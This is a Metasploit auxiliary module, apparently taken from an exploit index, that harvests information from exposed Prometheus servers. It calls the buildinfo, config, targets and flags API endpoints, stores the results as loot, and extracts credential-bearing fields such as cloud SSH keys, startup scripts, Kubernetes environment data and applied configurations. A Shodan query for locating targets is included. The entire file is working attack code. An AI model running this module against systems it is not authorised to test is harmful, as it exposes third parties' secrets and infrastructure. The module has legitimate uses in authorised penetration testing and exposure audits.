## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-PROMETHEUS_API_GATHER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Prometheus
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Prometheus API Information Gather',
'Description' => %q{
This module utilizes Prometheus' API calls to gather information about
the server's configuration, and targets. Fields which may contain
credentials, or credential file names are then pulled out and printed.
Targets may have a wealth of information, this module will print the following
values when found:
__meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script,
__meta_gce_metadata_kube_env, kubernetes_sd_configs,
_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration,
__meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy
Shodan search: "http.favicon.hash:-1399433489"
},
'License' => MSF_LICENSE,
'Author' => [
'h00die'
],
'References' => [
['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/']
],
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2016-07-01', # Prometheus 1.0 release date, who knows....
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(9090),
OptString.new('TARGETURI', [ true, 'The URI of Prometheus', '/'])
]
)
end
def run
vprint_status("#{peer} - Checking build info")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'buildinfo'),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
json = res.get_json_document
version = json.dig('data', 'version')
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find version number)") unless version
print_good("Prometheus found, version: #{version}")
vprint_status("#{peer} - Checking status config")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'config'),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
json = res.get_json_document
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
yaml = json.dig('data', 'yaml')
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find yaml)") unless yaml
begin
yamlconf = YAML.safe_load(yaml)
loot_path = store_loot('Prometheus YAML Config', 'application/yaml', datastore['RHOST'], yaml, 'config.yaml')
print_good("YAML config saved to #{loot_path}")
prometheus_config_eater(yamlconf)
rescue Psych::DisallowedClass
# [-] Auxiliary failed: Psych::DisallowedClass Tried to load unspecified class: Symbol
print_bad('Unable to load YAML')
end
vprint_status("#{peer} - Checking targets")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'targets'),
'method' => 'GET'
)
table_targets = Rex::Text::Table.new(
'Header' => 'Target Data',
'Indent' => 2,
'Columns' =>
[
'Field',
'Data'
]
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
json = res.get_json_document
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
loot_path = store_loot('Prometheus JSON targets', 'application/json', datastore['RHOST'], json.to_json, 'targets.json')
print_good("JSON targets saved to #{loot_path}")
json.dig('data', 'activeTargets').each do |target|
[
'__meta_gce_metadata_ssh_keys', '__meta_gce_metadata_startup_script', '__meta_gce_metadata_kube_env', 'kubernetes_sd_configs',
'_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration', '__meta_ec2_tag_CreatedBy', '__meta_ec2_tag_OwnedBy'
].each do |key|
if target[key]
table_targets << [
key,
target[key]
]
end
next unless target.dig('discoveredLabels', key)
table_targets << [
key,
target.dig('discoveredLabels', key)
]
end
end
print_good(table_targets.to_s) if !table_targets.rows.empty?
vprint_status("#{peer} - Checking status flags")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'flags'),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200
json = res.get_json_document
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json
print_good("Config file: #{json.dig('data', 'config.file')}") if json.dig('data', 'config.file')
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end